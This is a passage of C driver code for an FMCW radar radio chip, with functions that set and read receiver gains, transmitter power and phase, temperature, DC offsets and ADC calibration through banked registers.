RADIO_MOD_BANK_CH_REG(0, channel_index, RX_TUNE0, TIA_RFB_SEL, gain);
else {
for(ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE0, TIA_RFB_SEL, gain);
}
fmcw_radio_switch_bank(radio, old_bank);
}
int32_t fmcw_radio_get_tia_gain(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
char rx_gain = RADIO_READ_BANK_CH_REG_FIELD(0, channel_index, RX_TUNE0, TIA_RFB_SEL);
fmcw_radio_switch_bank(radio, old_bank);
return rx_gain;
}
/*
* channel_index : 0 / 1 / 2 / 3 / -1
* data : RX_VGA1_6dB:0x01 / RX_VGA1_9dB:0x02 / RX_VGA1_12dB:0x03 /
* RX_VGA1_15dB:0x04 / RX_VGA1_18dB:0x05 / RX_VGA1_21dB:0x06
*/
void fmcw_radio_set_vga1_gain(fmcw_radio_t *radio, int32_t channel_index, int32_t gain)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
int ch;
if (channel_index != -1)
RADIO_MOD_BANK_CH_REG(0, channel_index, RX_TUNE1, VGA1_GAINSEL, gain);
else {
for(ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA1_GAINSEL, gain);
}
fmcw_radio_switch_bank(radio, old_bank);
}
int32_t fmcw_radio_get_vga1_gain(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
char rx_gain = RADIO_READ_BANK_CH_REG_FIELD(0, channel_index, RX_TUNE1, VGA1_GAINSEL);
fmcw_radio_switch_bank(radio, old_bank);
return rx_gain;
}
/*
* channel_index : 0 / 1 / 2 / 3 / -1
* data : RX_VGA1_5dB:0x01 / RX_VGA1_8dB:0x02 / RX_VGA1_11dB:0x03 /
* RX_VGA1_14dB:0x04 / RX_VGA1_16dB:0x05 / RX_VGA1_19dB:0x06
*/
void fmcw_radio_set_vga2_gain(fmcw_radio_t *radio, int32_t channel_index, char gain)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
int ch;
if (channel_index != -1)
RADIO_MOD_BANK_CH_REG(0, channel_index, RX_TUNE1, VGA2_GAINSEL, gain);
else {
for(ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA2_GAINSEL, gain);
}
fmcw_radio_switch_bank(radio, old_bank);
}
int32_t fmcw_radio_get_vga2_gain(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
char rx_gain = RADIO_READ_BANK_CH_REG_FIELD(0, channel_index, RX_TUNE1, VGA2_GAINSEL);
fmcw_radio_switch_bank(radio, old_bank);
return rx_gain;
}
/*
* channel_index : 0 / 1 / 2 / 3 / -1
* data : TX_ON:0xF / TX_OFF:0x0
*/
void fmcw_radio_set_tx_status(fmcw_radio_t *radio, int32_t channel_index, char status)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
int ch;
if (channel_index != -1)
RADIO_WRITE_BANK_CH_REG(1, channel_index, TX_EN0, status);
else {
for(ch = 0; ch < MAX_NUM_TX; ch++)
RADIO_WRITE_BANK_CH_REG(1, ch, TX_EN0, status);
}
fmcw_radio_switch_bank(radio, old_bank);
}
int32_t fmcw_radio_get_tx_status(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank;
char tx_status;
old_bank = fmcw_radio_switch_bank(radio, 1);
tx_status = RADIO_READ_BANK_CH_REG(1, channel_index, TX_EN0);
fmcw_radio_switch_bank(radio, old_bank);
return tx_status;
}
/*
* channel_index : 0 / 1 / 2 / 3 / -1
* data : TX_POWER_DEFAULT:0xAA / TX_POWER_MAX:0xFF / TX_POWER_MAX_SUB5:0x88 / TX_POWER_MAX_SUB10:0x0
*/
//TO-DO: added power_index_0 and power_index_1
void fmcw_radio_set_tx_power(fmcw_radio_t *radio,
int32_t channel_index, char power_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
int ch;
if (channel_index != -1){
RADIO_WRITE_BANK_CH_REG(1, channel_index, TX_BIAS0, power_index);
RADIO_WRITE_BANK_CH_REG(1, channel_index, TX_BIAS1, power_index);
}
else {
for(ch = 0; ch < MAX_NUM_TX; ch++){
RADIO_WRITE_BANK_CH_REG(1, ch, TX_BIAS0, power_index);
RADIO_WRITE_BANK_CH_REG(1, ch, TX_BIAS1, power_index);
}
}
fmcw_radio_switch_bank(radio, old_bank);
}
//TO-DO : added for TX_BIAS1 ???
int32_t fmcw_radio_get_tx_power(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
char tx_power = RADIO_READ_BANK_CH_REG(1, channel_index, TX_BIAS0);
fmcw_radio_switch_bank(radio, old_bank);
return tx_power;
}
/*
* channel_index : CH0 / CH0 / CH1 / CH2 / CH_ALL
* #define TX_PHASE_0 0x0f0fu
* #define TX_PHASE_45 0x000fu
* #define TX_PHASE_90 0x1f0fu
* #define TX_PHASE_135 0x1f00u
* #define TX_PHASE_180 0x1f1fu
* #define TX_PHASE_225 0x001fu
* #define TX_PHASE_270 0x0f1fu
* #define TX_PHASE_315 0x0f00u
*/
uint32_t phase_val_2_reg_val(uint32_t phase_val)
{
uint32_t reg_val = 0x0;
switch (phase_val) {
case 0:
reg_val = TX_PHASE_0;
break;
case 45:
reg_val = TX_PHASE_45;
break;
case 90:
reg_val = TX_PHASE_90;
break;
case 135:
reg_val = TX_PHASE_135;
break;
case 180:
reg_val = TX_PHASE_180;
break;
case 225:
reg_val = TX_PHASE_225;
break;
case 270:
reg_val = TX_PHASE_270;
break;
case 315:
reg_val = TX_PHASE_315;
break;
default:
reg_val = 0x0;
break;
}
return reg_val;
}
uint32_t reg_val_2_phase_val(uint32_t reg_val)
{
uint32_t phase_val = 0xfff;
switch (reg_val) {
case TX_PHASE_0:
phase_val = 0;
break;
case TX_PHASE_45:
phase_val = 45;
break;
case TX_PHASE_90:
phase_val = 90;
break;
case TX_PHASE_135:
phase_val = 135;
break;
case TX_PHASE_180:
phase_val = 180;
break;
case TX_PHASE_225:
phase_val = 225;
break;
case TX_PHASE_270:
phase_val = 270;
break;
case TX_PHASE_315:
phase_val = 315;
break;
default:
phase_val = 0xfff;
break;
}
return phase_val;
}
void fmcw_radio_set_tx_phase(fmcw_radio_t *radio, int32_t channel_index, int32_t phase_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
char tx_phase_i = (char) (phase_index >> 8);
char tx_phase_q = (char) phase_index;
int ch;
if (channel_index != -1) {
RADIO_WRITE_BANK_CH_REG(1, channel_index, TX_TUNE0, tx_phase_i);
RADIO_WRITE_BANK_CH_REG(1, channel_index, TX_TUNE1, tx_phase_q);
} else {
for(ch = 0; ch < MAX_NUM_TX; ch++) {
RADIO_WRITE_BANK_CH_REG(1, ch, TX_TUNE0, tx_phase_i);
RADIO_WRITE_BANK_CH_REG(1, ch, TX_TUNE1, tx_phase_q);
}
}
fmcw_radio_switch_bank(radio, old_bank);
}
int32_t fmcw_radio_get_tx_phase(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
int32_t tx_phase_index = RADIO_READ_BANK_CH_REG(1, channel_index, TX_TUNE0) << 8 |
RADIO_READ_BANK_CH_REG(1, channel_index, TX_TUNE1);
fmcw_radio_switch_bank(radio, old_bank);
return tx_phase_index;
}
//No need to judge if read is greater than 128 or not
float fmcw_radio_get_temperature(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* Enable 800M ADC CLK */
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_400M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_800M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x1);
/* Enable safety monitor LDO */
RADIO_MOD_BANK_REG(0, LDO25_SM, LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, LDO11_SM, LDO_EN, 0x1);
/* Enable 5M AUXADC CLK */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x1);
/* AUXADC2 on and reset */
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_BUF_BYPASS, 0x0);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_BUF_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_BIAS_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_OP1_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_OP2_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_REFGEN_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_VCMGEN_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_RST, 0x1);
/* load trimming value from the corresponding eFuse address */
fmcw_radio_auxadc_trim(radio);
MDELAY(2);
/* select AUXADC2 InputMUX */
RADIO_MOD_BANK_REG(1, DTSMD2_MUXIN_SEL, TS_BG_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSMD2_MUXIN_SEL, TS_VPTAT_CAL, 0x4);
RADIO_MOD_BANK_REG(1, DTSMD2_MUXIN_SEL, DTSDM_MUXIN_SEL, 0x0);
/* AUXADC2 de-reset */
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_RST, 0x0);
/* AUXADC2 Filter de-reset */
fmcw_radio_switch_bank(radio, 2);
RADIO_WRITE_BANK_REG(2, DC_FILTER2_RST_EN, 0x01);
MDELAY(2);
/* read back AUXADC2 Filter Output Digital Bits */
fmcw_radio_switch_bank(radio, 1);
uint8_t doutL, doutM, doutH;
float dout, radio_temp;
doutL = RADIO_READ_BANK_REG(1, DTSDM2_DAT0);
doutM = RADIO_READ_BANK_REG(1, DTSDM2_DAT1);
doutH = RADIO_READ_BANK_REG(1, DTSDM2_DAT2);
dout = doutL + ( doutM << 8 ) + ( doutH << 16 );
/* return voltage measurement, formula refer to 125C */
radio_temp = ((float)(dout) - 108058.0) / 116.5 + 125;
/* Disable 5M AUXADC CLK */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
return radio_temp;
}
/* gain_compensation is used under high ambient temperatures */
#if HTOL_TEST == 1
void fmcw_radio_gain_compensation(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
int ch;
RADIO_MOD_BANK_REG(0, LO_LDO0, LDO11_LOMAINPATH_VOUT_SEL, 0x6);
RADIO_MOD_BANK_REG(0, LO_LDO1, LDO11_LOMUXIO_VOUT_SEL, 0x7);
RADIO_MOD_BANK_REG(0, LO_LDO2, LDO11_TXLO_VOUT_SEL, 0x6);
RADIO_MOD_BANK_REG(0, LO_LDO3, LDO11_RXLO_VOUT_SEL, 0x7);
RADIO_MOD_BANK_REG(0, RX_LDO0, LDO11_RFN_VOUT_SEL, 0x5);
RADIO_MOD_BANK_REG(0, RX_LDO1, LDO11_RFS_VOUT_SEL, 0x5);
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, TX_LDO0, LDO11_TX0_VOUT_SEL, 0x5);
RADIO_MOD_BANK_REG(1, TX_LDO1, LDO11_TX1_VOUT_SEL, 0x5);
RADIO_MOD_BANK_REG(1, TX_LDO2, LDO11_TX2_VOUT_SEL, 0x5);
RADIO_MOD_BANK_REG(1, TX_LDO3, LDO11_TX3_VOUT_SEL, 0x5);
for(ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_CH_REG(1, ch, PA_LDO, LDO11_TX_PA_VOUT_SEL, 0xd);
fmcw_radio_switch_bank(radio, old_bank);
}
#endif /* gain_compensation */
void fmcw_radio_power_on(fmcw_radio_t *radio)
{
fmcw_radio_ldo_on(radio);
fmcw_radio_pll_on(radio);
fmcw_radio_lo_on(radio, true);
/*set TX power as default:0xAA */
fmcw_radio_set_tx_power(radio, -1, TX_POWER_DEFAULT);
fmcw_radio_tx_on(radio);
fmcw_radio_rx_on(radio, true);
fmcw_radio_rc_calibration(radio);
fmcw_radio_adc_cmp_calibration(radio);
fmcw_radio_adc_on(radio);
fmcw_radio_auxadc_trim(radio);
}
void fmcw_radio_power_off(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* FMCWPLL disable */
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, TSPCDIV_EN, 0x0);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, CMLDIV_EN, 0x0);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, VCO_EN, 0x0);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, CP_EN, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
bool fmcw_radio_is_running(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
uint8_t mode = RADIO_READ_BANK_REG(3, FMCW_MODE_SEL);
uint8_t start = RADIO_READ_BANK_REG_FIELD(3, FMCW_START, START_SPI);
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
uint8_t chirp_size_1_0 = RADIO_READ_BANK_REG(5, FMCW_CHIRP_SIZE_1_0);
uint8_t chirp_size_1_1 = RADIO_READ_BANK_REG(5, FMCW_CHIRP_SIZE_1_1);
fmcw_radio_switch_bank(radio, old_bank);
bool ret = false;
if (mode == 0x2)
ret = (start == 1 && !chirp_size_1_0 && !chirp_size_1_1 ) ? true : false;
else if (mode == 0x3)
ret = false;
return ret;
}
int32_t fmcw_radio_vctrl_on(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
//enable PLL's local switch
RADIO_MOD_BANK_REG(0, FMCWPLL_LF, VTR_TEST_SW_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_LF, VTR_TEST_EN, 0x1);
//enable TP_ANA1 and mux VCTRL to output
RADIO_MOD_BANK_REG(0, TPANA1, EN, 0x1);
RADIO_MOD_BANK_REG(0, TPANA1, TEST_MUX_1_EN, 0x1);
RADIO_MOD_BANK_REG(0, TPANA1, TEST_MUX_1_SEL, 0x38);
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
int32_t fmcw_radio_vctrl_off(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
//disable PLL's local switch
RADIO_MOD_BANK_REG(0, FMCWPLL_LF, VTR_TEST_SW_EN, 0x0);
RADIO_MOD_BANK_REG(0, FMCWPLL_LF, VTR_TEST_EN, 0x0);
//disable TP_ANA1
RADIO_MOD_BANK_REG(0, TPANA1, EN, 0x0);
RADIO_MOD_BANK_REG(0, TPANA1, TEST_MUX_1_EN, 0x0);
RADIO_MOD_BANK_REG(0, TPANA1, TEST_MUX_1_SEL, 0x00);
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
/*
* channel_index : 0 / 1 / 2 / 3 / -1
*/
void fmcw_radio_if_output_on(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 2);
int ch;
RADIO_MOD_BANK_REG(2, LVDS_LDO25, LDO25_LVDS_LDO_EN, 0x1);
if (channel_index != -1) {
RADIO_MOD_BANK_CH_REG(2, channel_index, BUFFER, EN, 0x1);
} else {
for(ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_CH_REG(2, ch, BUFFER, EN, 0x1);
}
fmcw_radio_switch_bank(radio, old_bank);
}
/* enable buffer will output IF to output pad, only used for debug */
void fmcw_radio_if_output_off(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 2);
int ch;
if (channel_index != -1) {
RADIO_MOD_BANK_CH_REG(2, channel_index, BUFFER, EN, 0x0);
} else {
RADIO_MOD_BANK_REG(2, LVDS_LDO25, LDO25_LVDS_LDO_EN, 0x0);
for(ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_CH_REG(2, ch, BUFFER, EN, 0x0);
}
fmcw_radio_switch_bank(radio, old_bank);
}
//control TX's LDO and PA's LDO
void fmcw_radio_tx_ch_on(fmcw_radio_t *radio, int32_t channel_index, bool enable)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
uint8_t enable_4bit, enable_8bit;
if (enable == true) {
enable_4bit = 0x0f;
enable_8bit = 0xff;
} else {
enable_4bit = 0x00;
enable_8bit = 0x00;
}
if (channel_index == -1) {
RADIO_WRITE_BANK_REG(1, TX_LDO_EN, enable_8bit);
for(uint8_t ch = 0; ch < MAX_NUM_TX; ch++)
RADIO_WRITE_BANK_CH_REG(1, ch, TX_EN0, enable_4bit);
//Wait to add after VAM is done
} else if (channel_index == 0) {
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX0_EN, enable);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX0_PA_EN, enable);
RADIO_WRITE_BANK_REG(1, CH0_TX_EN0, enable_4bit);
} else if (channel_index == 1) {
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX1_EN, enable);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX1_PA_EN, enable);
RADIO_WRITE_BANK_REG(1, CH1_TX_EN0, enable_4bit);
} else if (channel_index == 2) {
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX2_EN, enable);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX2_PA_EN, enable);
RADIO_WRITE_BANK_REG(1, CH2_TX_EN0, enable_4bit);
} else if (channel_index == 3) {
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX3_EN, enable);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX3_PA_EN, enable);
RADIO_WRITE_BANK_REG(1, CH3_TX_EN0, enable_4bit);
}
fmcw_radio_switch_bank(radio, old_bank);
}
static void fmcw_radio_tx_restore_proc(fmcw_radio_t *radio)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(radio, baseband_t, radio)->cfg;
bool enable;
for(uint8_t ch = 0; ch < MAX_NUM_TX; ch++) {
enable = !(cfg->tx_groups[ch] == 0);
fmcw_radio_tx_ch_on(NULL, ch, enable);
}
}
void fmcw_radio_tx_restore(fmcw_radio_t *radio)
{
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
fmcw_radio_tx_restore_proc(radio);
#else
fmcw_radio_tx_restore_proc(radio);
#endif
}
void fmcw_radio_loop_test_en(fmcw_radio_t *radio, bool enable)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 9);
int val = (enable == true)?1:0;
RADIO_WRITE_BANK_REG(9, LP_TST_EN, val);
/* reset SDM */
fmcw_radio_switch_bank(radio, 3);
RADIO_MOD_BANK_REG(3, FMCW_START, RSTN_SDM_MASH, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_START, RSTN_SDM_MASH, 0x1);
/* In loop test, rstn_fmcw_gen must be 0 */
RADIO_MOD_BANK_REG(3, FMCW_START, START_SPI, !val);
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_dac_reg_cfg_outer(fmcw_radio_t *radio) /* outer circle */
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 9);
int ch;
/* turn on dac */
RADIO_WRITE_BANK_REG(9, LP_TST_EN1, 0x7F);
RADIO_WRITE_BANK_REG(9, LP_TST_EN2, 0xBF);
RADIO_WRITE_BANK_REG(9, LP_TST_EN3, 0x00);
RADIO_WRITE_BANK_REG(9, DAC_LP_TST, 0x11);
for(ch = 0; ch < MAX_NUM_RX; ch++) {
RADIO_WRITE_BANK_CH_REG(9, ch, RXBB, 0x01);
}
fmcw_radio_switch_bank(radio, 2);
RADIO_MOD_BANK_REG(2, BIST_EN1, BIST_EN_SPARE, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_dac_reg_restore(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 2);
uint8_t ch; /* channel index*/
RADIO_WRITE_BANK_REG(2, BIST_LDO, 0x40);
RADIO_WRITE_BANK_REG(2, BIST_EN0, 0x00);
RADIO_WRITE_BANK_REG(2, BIST_EN1, 0x00);
RADIO_WRITE_BANK_REG(2, DAC_EN, 0x10);
fmcw_radio_switch_bank(radio, 0);
for(ch = 0; ch < MAX_NUM_RX; ch++) {
RADIO_WRITE_BANK_CH_REG(0, ch, RX_TEST, 0x1);
RADIO_WRITE_BANK_CH_REG(0, ch, RX_BIAS0, 0x8);
}
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_dac_reg_cfg_inner(fmcw_radio_t *radio, uint8_t inject_num, uint8_t out_num) /* inner circle */
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 9);
uint8_t ch; /* channel index*/
/* turn on dac */
RADIO_WRITE_BANK_REG(9, LP_TST_EN1, 0x70);
RADIO_WRITE_BANK_REG(9, LP_TST_EN2, 0xC0);
RADIO_WRITE_BANK_REG(9, DAC_LP_TST, 0x11);
for(ch = 0; ch < MAX_NUM_RX; ch++) {
/* inject choice */
switch (inject_num) {
case 0: /* TIA injected*/
RADIO_WRITE_BANK_REG(9, LP_TST_EN3, 0xFF);
break;
case 1: /* HPF1 injected*/
RADIO_MOD_BANK_CH_REG(9, ch, RXBB, TSTMUX_SEL_LP_TST, 0x8);
break;
case 2: /* VGA1 injected*/
RADIO_MOD_BANK_CH_REG(9, ch, RXBB, TSTMUX_SEL_LP_TST, 0x4);
break;
case 3: /* HPF2 injected*/
RADIO_MOD_BANK_CH_REG(9, ch, RXBB, TSTMUX_SEL_LP_TST, 0x2);
break;
case 4: /* VGA2 injected*/
RADIO_MOD_BANK_CH_REG(9, ch, RXBB, TSTMUX_SEL_LP_TST, 0x1);
break;
default: /* HPF1 injected*/
RADIO_MOD_BANK_CH_REG(9, ch, RXBB, TSTMUX_SEL_LP_TST, 0x8);
break;
}
/* out choice */
switch (out_num) {
case 0: /* TIA out */
RADIO_MOD_BANK_CH_REG(9, ch, RXBB, OUTMUX_SEL_LP_TST, 0x8);
break;
case 1: /* HPF1 out */
RADIO_MOD_BANK_CH_REG(9, ch, RXBB, OUTMUX_SEL_LP_TST, 0x4);
break;
case 2: /* VGA1 out */
RADIO_MOD_BANK_CH_REG(9, ch, RXBB, OUTMUX_SEL_LP_TST, 0x2);
break;
case 3: /* VGA2 out */
RADIO_MOD_BANK_CH_REG(9, ch, RXBB, OUTMUX_SEL_LP_TST, 0x1);
break;
default: /* VGA2 out */
RADIO_MOD_BANK_CH_REG(9, ch, RXBB, OUTMUX_SEL_LP_TST, 0x1);
break;
}
}
fmcw_radio_switch_bank(radio, 2);
RADIO_MOD_BANK_REG(2, BIST_EN1, BIST_EN_SPARE, 0x1);
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_dc_reg_cfg(fmcw_radio_t *radio, int32_t channel_index, int16_t dc_offset, bool dc_calib_print_ena)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 2);
int16_t dc_offset_reverse;
uint8_t dc_high8 = 0;
uint8_t dc_low8 = 0;
uint8_t old_dc_high8 = 0;
uint8_t old_dc_low8 = 0;
//readback bandwidth sel from chip
uint8_t bdw = RADIO_READ_BANK_REG_FIELD(2,CH1_ADC_FILTER,BDW_SEL);
/* change to 2 values */
/* write FMCW registers(15 bits), but the MSB 3 bits are all sign bits*/
/* dc_low8 using 8 bits, dc_high8 using 7 bits */
if ( bdw == 0 ){
dc_offset_reverse = (-dc_offset) / 4; /* adc data has left-shift 2 bits in RTL, so / 4*/
}
else{
dc_offset_reverse = (-dc_offset) / 8; /* adc data has left-shift 1 bits in RTL, so / 2*/
}
dc_high8 = REG_H7(dc_offset_reverse); /* mask the high 7 bits*/
dc_low8 = REG_L(dc_offset_reverse); /* mask the low 8 bits*/
if (0 == radio->frame_type_id) { // Store dc_offset value to default common register
/* read */
old_dc_low8 = RADIO_READ_BANK_CH_REG(2, channel_index, FILTER_DC_CANCEL_1);
old_dc_high8 = RADIO_READ_BANK_CH_REG(2, channel_index, FILTER_DC_CANCEL_2);
/* write */
RADIO_WRITE_BANK_CH_REG(2, channel_index, FILTER_DC_CANCEL_1, dc_low8);
RADIO_WRITE_BANK_CH_REG(2, channel_index, FILTER_DC_CANCEL_2, dc_high8);
}
// Store dc_offset value to banked registers which located in radio bank 5, 6, 7, 8
uint8_t old_bank1 = fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
/* read */
// The different banked registers share the same address values, so choose bank5 address values
old_dc_low8 = RADIO_READ_BANK_CH_REG(5, channel_index, FILTER_DC_CANCEL_1_1);
old_dc_high8 = RADIO_READ_BANK_CH_REG(5, channel_index, FILTER_DC_CANCEL_1_2);
/* write */
RADIO_WRITE_BANK_CH_REG(5, channel_index, FILTER_DC_CANCEL_1_1, dc_low8);
RADIO_WRITE_BANK_CH_REG(5, channel_index, FILTER_DC_CANCEL_1_2, dc_high8);
fmcw_radio_switch_bank(radio, old_bank1);
/* check */
if(dc_calib_print_ena == 1){
EMBARC_PRINTF("frame type %d: channel %d before modification, old_dc_high8 = 0x%x, old_dc_low8 = 0x%x\n", radio->frame_type_id, channel_index, old_dc_high8, old_dc_low8);
EMBARC_PRINTF("frame type %d: channel %d after modification, new_dc_high8 = 0x%x, new_dc_low8 = 0x%x\n", radio->frame_type_id, channel_index, dc_high8, dc_low8);
}
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_adc_cmp_calibration(fmcw_radio_t *radio)
{
sensor_config_t *cfg = (sensor_config_t *)CONTAINER_OF(radio, baseband_t, radio)->cfg;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* Enable 400M ADC CLK and ADC Local CLK*/
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_400M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_800M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x0);
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, ADC_MUX_OUT_SEL, CLK_EN, 0x1);
/* LDO ON */
RADIO_MOD_BANK_REG(1, ADC_LDO0, LDO11_ADC12_EN, 0x1);
RADIO_MOD_BANK_REG(1, ADC_LDO1, LDO12_ADC12_EN, 0x1);
RADIO_MOD_BANK_REG(1, ADC_LDO2, LDO25_ADC12_EN, 0x1);
RADIO_MOD_BANK_REG(1, ADC_LDO3, LDO11_ADC34_EN, 0x1);
RADIO_MOD_BANK_REG(1, ADC_LDO4, LDO12_ADC34_EN, 0x1);
RADIO_MOD_BANK_REG(1, ADC_LDO5, LDO25_ADC34_EN, 0x1);
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, RX_LDO0, LDO11_RFN_EN, 0x1);
RADIO_MOD_BANK_REG(0, RX_LDO1, LDO11_RFS_EN, 0x1);
RADIO_MOD_BANK_REG(0, RX_LDO2, LDO25_BBN_EN, 0x1);
RADIO_MOD_BANK_REG(0, RX_LDO3, LDO25_BBS_EN, 0x1);
/* RXBB outmux de-selsection */
RADIO_MOD_BANK_REG(0,CH0_RX_TEST,OUTMUX_SEL,0x0);
RADIO_MOD_BANK_REG(0,CH1_RX_TEST,OUTMUX_SEL,0x0);
RADIO_MOD_BANK_REG(0,CH2_RX_TEST,OUTMUX_SEL,0x0);
RADIO_MOD_BANK_REG(0,CH3_RX_TEST,OUTMUX_SEL,0x0);
/* Enable ADC and Reset */
fmcw_radio_switch_bank(radio, 1);
RADIO_WRITE_BANK_REG(1, CH0_ADC_EN0, 0x7F);
RADIO_WRITE_BANK_REG(1, CH0_ADC_EN1, 0xCE);
RADIO_WRITE_BANK_REG(1, CH1_ADC_EN0, 0x7F);
RADIO_WRITE_BANK_REG(1, CH1_ADC_EN1, 0xCE);
RADIO_WRITE_BANK_REG(1, CH2_ADC_EN0, 0x7F);
RADIO_WRITE_BANK_REG(1, CH2_ADC_EN1, 0xCE);
RADIO_WRITE_BANK_REG(1, CH3_ADC_EN0, 0x7F);
RADIO_WRITE_BANK_REG(1, CH3_ADC_EN1, 0xCE);
/* ADC CMP Calibration Pre-Setting */
RADIO_WRITE_BANK_REG(1, CH0_ADC_TUNE10, 0x29);
RADIO_WRITE_BANK_REG(1, CH0_ADC_TUNE11, 0x60);
RADIO_WRITE_BANK_REG(1, CH1_ADC_TUNE10, 0x29);
RADIO_WRITE_BANK_REG(1, CH1_ADC_TUNE11, 0x60);
RADIO_WRITE_BANK_REG(1, CH2_ADC_TUNE10, 0x29);
RADIO_WRITE_BANK_REG(1, CH2_ADC_TUNE11, 0x60);
RADIO_WRITE_BANK_REG(1, CH3_ADC_TUNE10, 0x29);
RADIO_WRITE_BANK_REG(1, CH3_ADC_TUNE11, 0x60);
/* Wait for 1ms */
MDELAY(1);
/* ADC CMP Calibration and waiting for allready=1
due to corner&temperature, need at most 1ms) */
RADIO_MOD_BANK_REG(1, CH0_ADC_TUNE11, CMP_OSCALIB_START, 0x1);
